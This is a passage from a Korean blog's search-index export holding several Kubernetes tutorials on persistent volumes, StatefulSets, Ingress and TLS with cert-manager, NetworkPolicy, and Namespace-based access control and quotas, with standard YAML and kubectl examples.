쓴다.\n정적 프로비저닝 관리자가 PV를 미리 만들어두고, 파드가 PVC로 요청하면 매칭해 주는 방식이다.\n# 1. 관리자가 PV를 만든다 apiVersion: v1 kind: PersistentVolume metadata: name: my-pv spec: capacity: storage: 10Gi accessModes: - ReadWriteOnce # 하나의 노드에서 읽기/쓰기 persistentVolumeReclaimPolicy: Retain # PVC 삭제 후 PV 보존 storageClassName: standard hostPath: # 노드의 로컬 경로 (개발용) path: /data/my-app # 2. 파드가 PVC로 저장소를 요청한다 apiVersion: v1 kind: PersistentVolumeClaim metadata: name: my-pvc spec: accessModes: - ReadWriteOnce resources: requests: storage: 5Gi # 5Gi 이상의 PV를 요청 storageClassName: standard # 3. 파드에서 PVC를 볼륨으로 마운트한다 spec: containers: - name: app volumeMounts: - name: data mountPath: /var/data volumes: - name: data persistentVolumeClaim: claimName: my-pvc k8s가 PVC의 조건(용량, 접근 모드, storageClassName)에 맞는 PV를 찾아 1:1로 연결한다. 연결된 PV는 다른 PVC에 할당되지 않는다.\n동적 프로비저닝과 StorageClass 정적 프로비저닝은 관리자가 PV를 미리 만들어야 해서 번거롭다. StorageClass를 쓰면 PVC 요청 시 PV가 자동으로 생성되는 동적 프로비저닝이 가능하다.\nStorageClass는 \u0026ldquo;어떤 종류의 저장소를 어떻게 만들지\u0026quot;를 정의한다. 클라우드 환경에서는 AWS EBS CSI 드라이버, GCP PD CSI 드라이버 등이 StorageClass와 연동돼 PVC가 생성될 때 실제 디스크를 자동으로 만들고 PV로 등록한다.\napiVersion: storage.k8s.io/v1 kind: StorageClass metadata: name: fast provisioner: ebs.csi.aws.com # AWS EBS CSI 드라이버 parameters: type: gp3 iops: \u0026#34;3000\u0026#34; throughput: \u0026#34;125\u0026#34; reclaimPolicy: Delete # PVC 삭제 시 실제 디스크도 삭제 volumeBindingMode: WaitForFirstConsumer # 파드가 스케줄된 노드 영역에 맞게 생성 allowVolumeExpansion: true # 용량 확장 허용 volumeBindingMode: WaitForFirstConsumer는 중요한 설정이다. 기본값(Immediate)으로 두면 PVC가 생성되는 즉시 디스크가 만들어지는데, 그 디스크가 특정 가용 영역(AZ)에 생성되면 파드가 다른 AZ에 스케줄되는 상황이 생길 수 있다. WaitForFirstConsumer는 파드가 어느 노드에 스케줄될지 결정된 후 그 노드의 AZ에 맞게 디스크를 만든다.\n동적 프로비저닝을 쓰는 PVC는 storageClassName만 지정하면 된다.\napiVersion: v1 kind: PersistentVolumeClaim metadata: name: my-pvc spec: accessModes: - ReadWriteOnce storageClassName: fast resources: requests: storage: 20Gi 접근 모드 PV가 동시에 몇 개의 노드에서 마운트될 수 있는지를 정의한다.\nReadWriteOnce(RWO): 하나의 노드에서만 읽기/쓰기로 마운트 가능. 가장 흔하다. AWS EBS, GCP PD 같은 블록 스토리지가 이 모드를 지원한다.\nReadOnlyMany(ROX): 여러 노드에서 읽기 전용으로 마운트 가능. 설정 파일이나 정적 자산을 여러 파드에 배포할 때 쓸 수 있다.\nReadWriteMany(RWX): 여러 노드에서 읽기/쓰기로 마운트 가능. NFS, Azure Files, AWS EFS 같은 네트워크 파일시스템이 지원한다. 여러 파드가 같은 저장소를 공유해야 할 때 필요하지만, 지원하는 저장소 종류가 제한적이고 성능이 낮을 수 있다.\nReadWriteOncePod(RWOP): k8s 1.22+. 단 하나의 파드에서만 마운트 가능. RWO보다 더 엄격하다.\n반환 정책(Reclaim Policy) PVC가 삭제됐을 때 PV를 어떻게 처리할지 정의한다.\nRetain: PV를 보존한다. 데이터가 사라지지 않는다. 관리자가 수동으로 정리하거나 재사용해야 한다. 실수로 PVC를 삭제했을 때 데이터를 복구할 수 있다.\nDelete: PV와 실제 저장소(EBS 볼륨 등)를 함께 삭제한다. StorageClass의 동적 프로비저닝 기본값이 이것인 경우가 많다. 비용이 자동으로 정리되지만 데이터도 함께 사라진다.\nRecycle: 데이터를 지우고(rm -rf /data/*) PV를 재사용 가능 상태로 만든다. 지금은 Deprecated됐다.\n프로덕션 DB 데이터라면 Retain을 쓰고 PV 삭제를 수동으로 통제하는 것이 안전하다.\n용량 확장 StorageClass에 allowVolumeExpansion: true가 설정돼 있으면 PVC의 용량을 늘릴 수 있다.\nkubectl patch pvc my-pvc -p \u0026#39;{\u0026#34;spec\u0026#34;:{\u0026#34;resources\u0026#34;:{\u0026#34;requests\u0026#34;:{\u0026#34;storage\u0026#34;:\u0026#34;50Gi\u0026#34;}}}}\u0026#39; 줄이는 것은 대부분의 저장소에서 지원하지 않는다. 처음부터 적절한 크기를 잡는 것이 중요하고, 작게 잡고 필요할 때 늘리는 전략이 현실적이다.\n트레이드오프 PV/PVC의 추상화는 파드가 저장소 구현을 몰라도 된다는 이점을 준다. 개발 환경에서는 hostPath를, 프로덕션에서는 EBS를 쓰더라도 파드 정의는 같다. PVC 이름만 같으면 된다.\n감수할 것은 블록 스토리지(RWO)를 여러 파드가 공유하지 못한다는 제약이다. 여러 파드가 같은 파일에 쓰고 읽어야 한다면 RWX를 지원하는 NFS나 EFS 같은 공유 파일시스템이 필요하고, 이는 성능과 비용 측면에서 다른 판단을 요구한다. 또한 동적 프로비저닝으로 만들어진 PV는 reclaimPolicy: Delete가 기본이어서, 실수로 PVC를 지우면 데이터가 사라질 수 있다. 중요한 데이터라면 StorageClass를 Retain으로 설정하거나 별도 백업 정책을 두어야 한다.\n","permalink":"https://charminggroot.github.io/posts/021-k8s-pv-pvc/","summary":"파드는 일시적이라 로컬 파일시스템도 파드와 함께 사라진다. PersistentVolume(PV)은 파드 수명과 분리된 저장소를 추상화하고, PersistentVolumeClaim(PVC)은 파드가 그 저장소를 요청하는 방식이다. 정적 프로비저닝과 동적 프로비저닝, StorageClass, 접근 모드, 반환 정책이 무엇인지, 실제 운영에서 어떻게 쓰이는지를 설명한다.","title":"021. Kubernetes PV \u0026 PVC — 파드가 죽어도 데이터가 살아남는 구조"},{"content":"Deployment는 파드를 교환 가능(interchangeable) 한 존재로 다룬다. 파드가 죽으면 새 파드를 만드는데, 이름도 다르고 IP도 다르고 저장소도 새것이다. 어떤 파드가 어떤 요청을 처리하든 결과가 같아야 한다. 이 전제가 무상태(stateless) 앱에는 완벽히 맞는다.\n하지만 DB는 다르다. MySQL 레플리카는 자신이 primary인지 replica인지 알아야 하고, 재시작 후에도 같은 데이터를 가져야 하며, 다른 노드들이 이 노드를 이름으로 찾을 수 있어야 한다. Kafka 브로커, Redis Cluster, Elasticsearch 노드도 마찬가지다. StatefulSet은 이런 \u0026ldquo;신원이 있는 파드\u0026quot;를 위한 오브젝트다.\nDeployment와의 핵심 차이 Deployment StatefulSet 파드 이름 랜덤 접미사 (my-app-7d8f9c-xk2p) 순서 번호 (my-app-0, my-app-1) 파드 신원 교환 가능, 신원 없음 고유하고 안정적인 신원 스토리지 파드와 함께 사라짐 파드가 재생성돼도 같은 PVC가 재연결 시작/종료 순서 병렬 (순서 보장 없음) 순서대로 (0→1→2, 역방향 종료) 네트워크 이름 Service IP로 접근 파드마다 안정적인 DNS 이름 안정적인 네트워크 신원 StatefulSet의 파드는 \u0026lt;sts이름\u0026gt;-\u0026lt;순서번호\u0026gt; 형태의 이름을 갖는다. my-db-0, my-db-1, my-db-2처럼. 이 이름은 파드가 재생성돼도 바뀌지 않는다. my-db-0이 죽으면 새로 만들어지는 파드도 이름이 my-db-0이다.\n이 안정적인 이름을 DNS로 접근하려면 헤드리스 서비스(Headless Service) 가 필요하다.\napiVersion: v1 kind: Service metadata: name: my-db spec: clusterIP: None # 헤드리스: 가상 IP를 할당하지 않는다 selector: app: my-db ports: - port: 5432 헤드리스 서비스와 StatefulSet을 결합하면 각 파드에 안정적인 DNS 이름이 생긴다.\n\u0026lt;파드이름\u0026gt;.\u0026lt;서비스이름\u0026gt;.\u0026lt;네임스페이스\u0026gt;.svc.cluster.local my-db-0.my-db.default.svc.cluster.local my-db-1.my-db.default.svc.cluster.local my-db-2.my-db.default.svc.cluster.local DB 클러스터 내부에서 노드들이 서로를 이 DNS 이름으로 참조한다. 파드가 재시작돼 IP가 바뀌어도 DNS 이름은 그대로이므로 클러스터 구성이 유지된다.\n안정적인 스토리지 StatefulSet은 volumeClaimTemplates로 파드마다 별도의 PVC를 자동으로 만든다.\napiVersion: apps/v1 kind: StatefulSet metadata: name: my-db spec: serviceName: my-db # 헤드리스 서비스 이름 replicas: 3 selector: matchLabels: app: my-db template: metadata: labels: app: my-db spec: containers: - name: postgres image: postgres:16 env: - name: POSTGRES_PASSWORD valueFrom: secretKeyRef: name: db-secret key: password volumeMounts: - name: data mountPath: /var/lib/postgresql/data volumeClaimTemplates: # 파드마다 PVC를 자동 생성 - metadata: name: data spec: accessModes: [ReadWriteOnce] storageClassName: fast resources: requests: storage: 20Gi 이 StatefulSet을 만들면 다음 PVC가 자동으로 생성된다.\ndata-my-db-0 (my-db-0 파드 전용) data-my-db-1 (my-db-1 파드 전용) data-my-db-2 (my-db-2 파드 전용) my-db-0이 죽고 새로 만들어지면, 새 파드가 기존 data-my-db-0 PVC에 다시 연결된다. 데이터가 그대로 살아있다.\nStatefulSet을 삭제해도 PVC는 자동으로 삭제되지 않는다. 의도치 않은 데이터 삭제를 막기 위한 설계다. PVC는 수동으로 삭제해야 한다.\n순서 보장 StatefulSet은 파드의 시작과 종료 순서를 보장한다.\n시작: 0번부터 순서대로 생성된다. 0번이 Running + Ready가 될 때까지 1번을 만들지 않는다.\n종료: 역순으로 종료된다. 2→1→0 순서로 내려간다.\n업데이트: 기본적으로 역순(가장 높은 번호부터)으로 하나씩 교체한다.\n이 순서 보장이 DB 클러스터 초기화에서 중요하다. primary 노드(my-db-0)가 먼저 완전히 뜬 뒤에 replica 노드들이 뜨면서 primary에 붙어 데이터를 동기화한다. primary가 준비되기 전에 replica가 시도하면 실패한다.\npodManagementPolicy: Parallel로 설정하면 순서를 무시하고 병렬로 파드를 관리한다. 순서가 중요하지 않지만 StatefulSet의 다른 기능(안정적 이름, PVC 연결)이 필요할 때 쓴다.\n언제 StatefulSet을 쓰나 k8s 위에서 DB를 직접 운영하는 것은 복잡한 일이다. 스토리지 관리, 백업, 레플리케이션, 장애 복구 모두 손이 많이 간다. 그래서 프로덕션에서는 RDS, Cloud SQL, Mongo Atlas 같은 매니지드 서비스를 쓰고 k8s 안에 DB를 두지 않는 경우도 많다.\nStatefulSet이 실용적인 경우는 다음과 같다.\n규제 등 이유로 클라우드 매니지드 DB를 못 쓰는 경우 Redis, Kafka처럼 비교적 운영이 단순한 상태 저장 시스템 개발·스테이징 환경의 DB (비용 절감) Operator 패턴을 쓰는 경우: MongoDB Operator, PostgreSQL Operator(Zalando PGO) 같은 도구가 StatefulSet 위에 DB 운영의 복잡성을 자동화한다 트레이드오프 StatefulSet의 순서 보장은 안전하지만 느리다. 파드 3개를 업데이트하면 하나씩 순서대로 진행되므로 Deployment의 롤링 업데이트보다 오래 걸린다. 하나가 실패하면 업데이트가 거기서 멈춘다.\nPVC는 StatefulSet이 삭제돼도 남는다. 이는 데이터 보호의 의도이지만, 클러스터를 정리하거나 테스트 환경을 재구성할 때 잊어버린 PVC가 비용을 계속 쓰는 문제가 된다. StatefulSet 삭제 후 PVC를 명시적으로 정리하는 습관이 필요하다.\n","permalink":"https://charminggroot.github.io/posts/022-k8s-statefulset/","summary":"Deployment는 파드를 교환 가능한 존재로 다루지만, DB나 메시지 큐처럼 파드마다 고유한 신원과 안정적인 스토리지가 필요한 경우가 있다. StatefulSet이 무엇인지, Deployment와 어떻게 다른지, 안정적인 네트워크 신원과 영구 스토리지를 어떻게 보장하는지, 언제 써야 하는지를 설명한다.","title":"022. Kubernetes StatefulSet — 순서와 신원이 필요한 파드를 위한 오브젝트"},{"content":"서비스가 5개인데 각각 LoadBalancer 타입 Service로 외부에 노출하면 로드밸런서가 5개 만들어진다. 클라우드 로드밸런서는 월 비용이 붙는다. 더 큰 문제는 서비스마다 IP나 포트가 달라져 API 구조가 복잡해진다는 것이다. Ingress는 하나의 로드밸런서가 외부 트래픽을 받아 호스트 이름이나 URL 경로를 보고 여러 Service로 분배하는 방식이다.\nIngress Controller — 오브젝트와 구현의 분리 k8s는 Ingress 오브젝트의 스펙을 정의하지만, 그 오브젝트를 실제로 처리하는 로드밸런서를 직접 내장하지는 않는다. Ingress Controller가 그 역할을 한다. Ingress 오브젝트를 감시하면서 실제 로드밸런서 설정을 갱신하고 라우팅을 수행한다.\n대표적인 Ingress Controller는 다음과 같다.\ningress-nginx: 가장 널리 쓰이는 오픈소스. nginx를 백엔드로 한다. AWS ALB Ingress Controller: Ingress를 AWS Application Load Balancer로 구현한다. Traefik: 동적 설정과 Let\u0026rsquo;s Encrypt 자동화로 인기가 높다. GKE Ingress Controller: GCP 환경에서 Google Cloud Load Balancer를 쓴다. Ingress Controller는 보통 클러스터에 Deployment 또는 DaemonSet으로 배포되고, LoadBalancer 타입 Service로 외부 IP를 받는다. 이 IP 하나로 모든 Ingress 트래픽이 들어온다.\n기본 구조 apiVersion: networking.k8s.io/v1 kind: Ingress metadata: name: my-ingress annotations: nginx.ingress.kubernetes.io/rewrite-target: / # 컨트롤러별 추가 설정 spec: ingressClassName: nginx # 어떤 Ingress Controller를 쓸지 rules: - host: api.example.com http: paths: - path: /orders pathType: Prefix backend: service: name: order-service port: number: 80 - path: /payments pathType: Prefix backend: service: name: payment-service port: number: 80 - host: admin.example.com http: paths: - path: / pathType: Prefix backend: service: name: admin-service port: number: 80 경로 기반 라우팅 같은 호스트로 들어온 요청을 URL 경로로 나눈다. api.example.com/orders는 order-service로, api.example.com/payments는 payment-service로 보내는 식이다.\npathType은 경로 매칭 방식을 정한다.\nPrefix: 지정한 경로로 시작하는 모든 요청. /orders는 /orders, /orders/123, /orders/123/items 등에 매칭된다.\nExact: 정확히 일치하는 경로만. /orders는 /orders에만 매칭된다.\n여러 규칙이 있을 때 더 구체적인 경로가 우선한다. /orders/vip와 /orders가 함께 있으면 /orders/vip/123 요청은 /orders/vip에 매칭된다.\n호스트 기반 라우팅 호스트 이름으로 트래픽을 나눈다. api.example.com과 admin.example.com을 같은 Ingress에서 다른 Service로 분리한다. 와일드카드 호스트도 가능하다.\nrules: - host: \u0026#34;*.example.com\u0026#34; # 와일드카드 (정확히 한 레벨 서브도메인) http: paths: - path: / pathType: Prefix backend: service: name: default-service port: number: 80 TLS 종료 Ingress에서 TLS 인증서를 설정하면 HTTPS 요청을 Ingress에서 복호화하고, 내부 서비스로는 HTTP로 전달한다. 이를 TLS 종료(TLS termination)라 한다. 내부 서비스들이 각자 TLS를 처리하지 않아도 된다.\nspec: tls: - hosts: - api.example.com secretName: api-tls-secret # TLS 인증서가 담긴 Secret rules: - host: api.example.com ... # TLS Secret (cert와 key는 base64 인코딩) apiVersion: v1 kind: Secret metadata: name: api-tls-secret type: kubernetes.io/tls data: tls.crt: \u0026lt;base64 인코딩된 인증서\u0026gt; tls.key: \u0026lt;base64 인코딩된 개인키\u0026gt; cert-manager — 인증서 자동 발급과 갱신 TLS 인증서를 수동으로 발급받아 Secret에 넣는 것은 번거롭고, 만료일을 놓치면 서비스가 막힌다. cert-manager를 쓰면 Let\u0026rsquo;s Encrypt에서 인증서를 자동으로 발급받고 만료 전에 갱신한다.\ncert-manager를 설치하고 Ingress에 어노테이션 하나만 추가하면 된다.\nmetadata: annotations: cert-manager.io/cluster-issuer: letsencrypt-prod spec: tls: - hosts: - api.example.com secretName: api-tls-secret # cert-manager가 이 Secret을 자동으로 채운다 rules: - host: api.example.com ... cert-manager가 Ingress를 감시하면서 api-tls-secret이 없거나 만료 30일 전이 되면 Let\u0026rsquo;s Encrypt에 자동으로 인증서를 요청해 Secret을 갱신한다. 인증서 관리가 완전히 자동화된다.\n어노테이션 — 컨트롤러별 고급 설정 Ingress 스펙에 없는 컨트롤러별 기능은 어노테이션으로 설정한다. ingress-nginx 기준으로 자주 쓰이는 것들이다.\nannotations: # 요청 본문 크기 제한 (파일 업로드 등) nginx.ingress.kubernetes.io/proxy-body-size: \u0026#34;50m\u0026#34; # 타임아웃 nginx.ingress.kubernetes.io/proxy-read-timeout: \u0026#34;60\u0026#34; nginx.ingress.kubernetes.io/proxy-send-timeout: \u0026#34;60\u0026#34; # HTTPS 강제 리다이렉트 nginx.ingress.kubernetes.io/ssl-redirect: \u0026#34;true\u0026#34; # Rate limiting nginx.ingress.kubernetes.io/limit-rps: \u0026#34;10\u0026#34; # CORS nginx.ingress.kubernetes.io/enable-cors: \u0026#34;true\u0026#34; nginx.ingress.kubernetes.io/cors-allow-origin: \u0026#34;https://example.com\u0026#34; # WebSocket 지원 nginx.ingress.kubernetes.io/proxy-read-timeout: \u0026#34;3600\u0026#34; nginx.ingress.kubernetes.io/proxy-send-timeout: \u0026#34;3600\u0026#34; 트레이드오프 Ingress는 HTTP/HTTPS 전용이다. TCP나 UDP 레벨의 트래픽 분기가 필요하면 Service의 LoadBalancer 타입이나 별도 TCP/UDP 프록시를 써야 한다.\n모든 외부 트래픽이 Ingress Controller 하나를 통과하므로 이 컴포넌트의 가용성이 중요하다. 프로덕션에서는 Ingress Controller를 여러 레플리카로 띄우고, PodDisruptionBudget을 설정해 업데이트 중에도 최소 가용성을 보장해야 한다.\n어노테이션으로 설정하는 고급 기능들은 Ingress Controller마다 다르다. ingress-nginx에서 AWS ALB Controller로 바꾸면 어노테이션을 전부 다시 써야 한다. 컨트롤러에 종속적인 설정이 많아질수록 교체 비용이 올라간다.\n","permalink":"https://charminggroot.github.io/posts/023-k8s-ingress/","summary":"Service를 LoadBalancer 타입으로 노출하면 서비스마다 로드밸런서가 하나씩 생겨 비용이 선형으로 늘어난다. Ingress는 하나의 진입점에서 호스트 이름과 URL 경로로 트래픽을 여러 Service로 분배한다. Ingress 오브젝트와 Ingress Controller의 관계, 경로 기반·호스트 기반 라우팅, TLS 종료, cert-manager 자동 인증서 갱신을 설명한다.","title":"023. Kubernetes Ingress — HTTP(S) 트래픽의 단일 진입점"},{"content":"k8s 클러스터에서 기본적으로 모든 파드는 네임스페이스와 관계없이 서로 통신할 수 있다. 주문 서비스가 결제 서비스에 직접 접근할 수 있고, 개발 네임스페이스의 파드가 프로덕션 DB에 접근할 수도 있다. 이 기본 동작은 편리하지만 보안 측면에서는 위험하다. 파드 하나가 침해되면 공격자가 클러스터 안의 모든 서비스에 접근할 수 있다.\nNetworkPolicy는 파드 단위의 방화벽 규칙이다. \u0026ldquo;이 파드는 저 파드에서만 트래픽을 받는다\u0026rdquo;, \u0026ldquo;이 파드는 저 주소로만 나갈 수 있다\u0026quot;처럼 허용할 트래픽을 명시적으로 정의한다.\n기본 동작 방식 NetworkPolicy가 없으면 모두 허용이다. 파드에 NetworkPolicy가 하나라도 적용되면, 그 파드는 명시적으로 허용된 트래픽만 통과시킨다. 화이트리스트 방식이다.\n한 파드에 여러 NetworkPolicy가 적용되면 규칙이 합산(OR)된다. 어느 하나의 정책에서 허용하면 통과된다.\n구조 apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: payment-policy namespace: production spec: podSelector: # 이 정책을 적용할 파드 (레이블로 선택) matchLabels: app: payment policyTypes: - Ingress # 들어오는 트래픽 제어 - Egress # 나가는 트래픽 제어 ingress: - from: - podSelector: # 이 레이블의 파드에서만 인그레스 허용 matchLabels: app: order ports: - protocol: TCP port: 8080 egress: - to: - podSelector: matchLabels: app: postgres ports: - protocol: TCP port: 5432 podSelector가 이 NetworkPolicy가 적용될 파드를 선택한다. policyTypes로 인그레스(들어오는 트래픽), 이그레스(나가는 트래픽) 중 무엇을 제어할지 지정한다.\n기본 차단 정책 — 먼저 막고 필요한 것만 열기 보안의 기본은 기본 차단 후 필요한 것만 열기다. 네임스페이스별로 기본 차단 정책을 먼저 적용한 뒤, 필요한 통신만 명시적으로 허용하는 것이 권장 패턴이다.\n# 모든 인그레스 차단 apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny-ingress namespace: production spec: podSelector: {} # 빈 셀렉터 = 이 네임스페이스의 모든 파드에 적용 policyTypes: - Ingress # ingress 규칙 없음 = 모든 인그레스 차단 --- # 모든 이그레스 차단 apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: default-deny-egress namespace: production spec: podSelector: {} policyTypes: - Egress # egress 규칙 없음 = 모든 이그레스 차단 이 두 정책을 적용한 뒤, 각 서비스에 필요한 통신을 허용하는 정책을 추가한다.\n실제 서비스 구성 예시 주문 서비스 → 결제 서비스 → DB 구조에서 최소 권한으로 구성하는 예다.\n# 결제 서비스: 주문 서비스에서만 인그레스 허용, DB로만 이그레스 허용 apiVersion: networking.k8s.io/v1 kind: NetworkPolicy metadata: name: payment-service-policy namespace: production spec: podSelector: matchLabels: app: payment policyTypes: - Ingress - Egress ingress: - from: - podSelector: matchLabels: app: order ports: - port: 8080 egress: - to: - podSelector: matchLabels: app: postgres ports: - port: 5432 # DNS 조회를 위해 kube-dns는 항상 허용해야 한다 - to: - namespaceSelector: matchLabels: kubernetes.io/metadata.name: kube-system podSelector: matchLabels: k8s-app: kube-dns ports: - port: 53 protocol: UDP - port: 53 protocol: TCP 이그레스를 차단할 때 DNS(포트 53) 허용을 빠뜨리면 파드가 도메인 이름을 해석하지 못해 서비스 이름으로 통신이 안 된다. 이그레스 정책을 쓸 때 자주 실수하는 부분이다.\n네임스페이스 간 트래픽 제어 namespaceSelector로 다른 네임스페이스의 파드를 선택할 수 있다.\ningress: - from: # 같은 네임스페이스 + 레이블 조건 (AND) - namespaceSelector: matchLabels: env: production podSelector: matchLabels: app: order # 또는 다른 네임스페이스 전체 허용 (OR) - namespaceSelector: matchLabels: kubernetes.io/metadata.name: monitoring namespaceSelector와 podSelector를 같은 항목(-) 안에 쓰면 AND 조건이다. \u0026ldquo;production 네임스페이스이면서 app=order인 파드\u0026rdquo;. 별도 항목으로 쓰면 OR 조건이다.\n모니터링 네임스페이스의 Prometheus가 모든 파드의 /metrics를 긁을 수 있도록, 모니터링 네임스페이스에서 오는 메트릭 포트 접근을 허용하는 정책을 추가하는 패턴이 흔하다.\nIP 블록 기반 규칙 파드 셀렉터 외에 IP CIDR 범위로도 트래픽을 제어할 수 있다.\negress: - to: - ipBlock: cidr: 10.0.0.0/8 # 내부 네트워크만 허용 except: - 10.0.1.0/24 # 이 대역은 제외 - to: - ipBlock: cidr: 0.0.0.0/0 # 외부 인터넷 전체 허용 외부 API 호출이 필요한 파드는 이그레스에 해당 IP 범위를 열어야 한다. 반대로 외부 인터넷 접근이 필요 없는 서비스는 이그레스를 내부 대역으로만 제한해 데이터 유출 경로를 줄일 수 있다.\nCNI 플러그인이 실제로 집행한다 NetworkPolicy는 k8s API 오브젝트로 정의되지만, 실제로 트래픽을 차단하는 것은 CNI(Container Network Interface) 플러그인이다. Calico, Cilium, WeaveNet 같은 CNI 플러그인이 NetworkPolicy를 읽어 각 노드의 iptables 또는 eBPF 규칙으로 변환해 집행한다.\n기본 k8s 네트워크 플러그인(Kubenet)은 NetworkPolicy를 지원하지 않는다. NetworkPolicy를 쓰려면 지원하는 CNI 플러그인이 설치돼 있어야 한다. EKS는 기본적으로 Amazon VPC CNI를 쓰는데, NetworkPolicy 지원을 위해 Calico나 Cilium을 추가로 설치하거나 Amazon VPC CNI의 NetworkPolicy 기능(비교적 최근에 추가)을 활성화해야 한다.\nCilium은 iptables 대신 eBPF를 사용해 더 효율적이고, L7(HTTP 경로, gRPC 메서드 수준) 정책도 지원한다.\n트레이드오프 NetworkPolicy는 선언하기는 쉽지만 디버깅이 어렵다. 트래픽이 막혔을 때 어느 정책이 차단하는지 확인하는 도구가 부족하다. kubectl describe networkpolicy로 정책 내용은 볼 수 있지만, \u0026ldquo;이 요청이 왜 막히는지\u0026quot;를 추적하려면 CNI 플러그인의 로그나 전용 도구가 필요하다. Cilium은 Hubble이라는 네트워크 관측 도구를 제공해 이 문제를 어느 정도 해결한다.\n서비스가 많아지면 NetworkPolicy 수도 선형으로 늘어난다. 각 서비스마다 인그레스·이그레스 정책이 필요하고, 의존 관계가 바뀔 때마다 정책도 함께 업데이트해야 한다. 이를 놓치면 정상적인 트래픽이 막히는 장애가 난다. 작은 팀이라면 기본 차단 정책만 두고 점진적으로 세분화하는 접근이 현실적이다.\n","permalink":"https://charminggroot.github.io/posts/024-k8s-networkpolicy/","summary":"k8s에서 기본적으로 모든 파드는 서로 통신할 수 있다. NetworkPolicy는 파드 단위의 방화벽 규칙으로, 어떤 파드가 어떤 파드에 접근할 수 있는지 제어한다. 인그레스·이그레스 규칙 작성 방법, 기본 차단 정책, 네임스페이스 간 트래픽 제어, 그리고 CNI 플러그인이 실제로 규칙을 집행하는 구조를 설명한다.","title":"024. Kubernetes NetworkPolicy — 파드 간 트래픽을 제어하는 방화벽"},{"content":"k8s 클러스터는 기본적으로 하나의 평평한 공간이다. 모든 파드가 같은 네트워크에 있고, 이름 충돌이 없는 한 어디서든 다 보인다. 팀이 하나이고 서비스가 몇 개 없다면 이것으로 충분하다. 하지만 여러 팀이 같은 클러스터를 쓰거나, 개발·스테이징·프로덕션을 같은 클러스터에서 운영하거나, 서비스 규모가 커지면 구획이 필요해진다.\nNamespace는 클러스터 안의 논리적 격리 단위다. 같은 이름의 오브젝트도 다른 Namespace에는 따로 존재할 수 있고, RBAC과 NetworkPolicy, ResourceQuota를 Namespace 단위로 적용해 격리와 권한 제어를 구현한다.\n기본 Namespace 클러스터를 처음 만들면 네 가지 Namespace가 있다.\ndefault: Namespace를 지정하지 않으면 오브젝트가 여기 들어간다. 처음엔 편하지만 모든 것이 섞여 관리가 어려워진다. 실제 워크로드는 여기에 두지 않는 것이 좋다.\nkube-system: k8s 시스템 컴포넌트가 있는 곳. kube-dns(CoreDNS), kube-proxy, metrics-server, Ingress Controller 등이 여기 돌아간다. 직접 수정하지 않는 것이 원칙이다.\nkube-public: 모든 사용자가 읽을 수 있는 공개 정보. 클러스터 정보 같은 것이 여기 있다.\nkube-node-lease: 각 노드가 heartbeat를 저장하는 곳. 노드 상태 감지에 쓰인다.\nNamespace 만들기 apiVersion: v1 kind: Namespace metadata: name: production labels: env: production # NetworkPolicy의 namespaceSelector에서 쓰인다 team: platform 또는\nkubectl create namespace production 오브젝트를 만들 때 Namespace를 지정한다.\nkubectl apply -f deployment.yaml -n production kubectl get pods -n production kubectl get pods --all-namespaces # 또는 -A RBAC과 결합: 팀별 접근 제어 Namespace의 가장 강력한 쓰임새는 RBAC과 결합한 팀별 접근 제어다.\n# 팀 A는 자기 Namespace만 관리할 수 있다 apiVersion: rbac.authorization.k8s.io/v1 kind: RoleBinding metadata: name: team-a-admin namespace: team-a # 이 Namespace 안에서만 유효 subjects: - kind: Group name: team-a # 팀 A의 사용자 그룹 apiGroup: rbac.authorization.k8s.io roleRef: kind: ClusterRole name: admin # k8s 기본 제공 역할 apiGroup: rbac.authorization.k8s.io 팀 A는 team-a Namespace에서 admin 권한을 갖지만, team-b나 production Namespace에는 접근할 수 없다. 팀들이 서로의 리소스를 건드리지 않고 독립적으로 작업할 수 있다.\nResourceQuota — Namespace별 자원 제한 여러 팀이 같은 클러스터를 쓸 때, 한 팀이 자원을 과도하게 쓰면 다른 팀에 영향을 준다. ResourceQuota로 Namespace가 쓸 수 있는 자원 총량을 제한한다.\napiVersion: v1 kind: ResourceQuota metadata: name: team-a-quota namespace: team-a spec: hard: requests.cpu: \u0026#34;10\u0026#34; # 이 Namespace 전체 CPU requests 합계 10코어 이하 requests.memory: 20Gi # 전체 메모리 requests 20Gi 이하 limits.cpu: \u0026#34;20\u0026#34; limits.memory: 40Gi pods: \u0026#34;50\u0026#34; # 파드 수 50개 이하 services: \u0026#34;10\u0026#34; persistentvolumeclaims: \u0026#34;20\u0026#34; services.loadbalancers: \u0026#34;2\u0026#34; # LoadBalancer 타입 Service 2개 이하 (비용 제한) ResourceQuota가 있는 Namespace에서는 파드에 resources.requests와 resources.limits를 반드시 설정해야 한다. 안 하면 파드가 생성되지 않는다.\nLimitRange — 기본값과 최솟값 설정 ResourceQuota가 Namespace 전체 총량을 제한한다면, LimitRange는 개별 파드·컨테이너의 최솟값, 최댓값, 기본값을 정한다.\napiVersion: v1 kind: LimitRange metadata: name: default-limits namespace: team-a spec: limits: - type: Container default: # requests/limits를 안 쓴 컨테이너에 적용되는 기본값 cpu: \u0026#34;200m\u0026#34; memory: \u0026#34;256Mi\u0026#34; defaultRequest: cpu: \u0026#34;100m\u0026#34; memory: \u0026#34;128Mi\u0026#34; max: # 이 이상은 못 쓴다 cpu: \u0026#34;2\u0026#34; memory: \u0026#34;2Gi\u0026#34; min: # 이 이하로는 못 설정한다 cpu: \u0026#34;50m\u0026#34; memory: \u0026#34;64Mi\u0026#34; LimitRange가 있으면 requests/limits를 명시하지 않은 파드에 기본값이 자동 적용된다. ResourceQuota와 함께 쓰면 파드마다 requests를 강제하지 않아도 Namespace 전체 자원이 관리된다.\n어떻게 나눌 것인가 Namespace 분리 기준은 정답이 없고, 조직과 운영 방식에 따라 다르다.\n환경 기준: dev, staging, production. 가장 흔한 패턴. 환경별로 RBAC, ResourceQuota, NetworkPolicy를 달리 적용하기 좋다. 하지만 프로덕션과 개발이 같은 클러스터에 있으면 개발 환경의 문제가 클러스터 자원을 잡아먹어 프로덕션에 영향을 줄 수 있다.\n팀 기준: team-payments, team-orders. 팀 자율성을 주고 서로 간섭을 줄이는 방식. 팀 간 공유 서비스(모니터링, 인프라)는 별도 Namespace에 둔다.\n도메인 기준: payments, orders, users. 마이크로서비스가 많으면 도메인 단위로 묶는 것이 관리하기 좋다.\n실무에서는 환경과 팀을 결합한 방식도 많다. payments-production, payments-staging처럼 쓰거나, 프로덕션은 아예 별도 클러스터로 분리하고 개발·스테이징만 같은 클러스터에 두는 경우도 흔하다.\nNamespace는 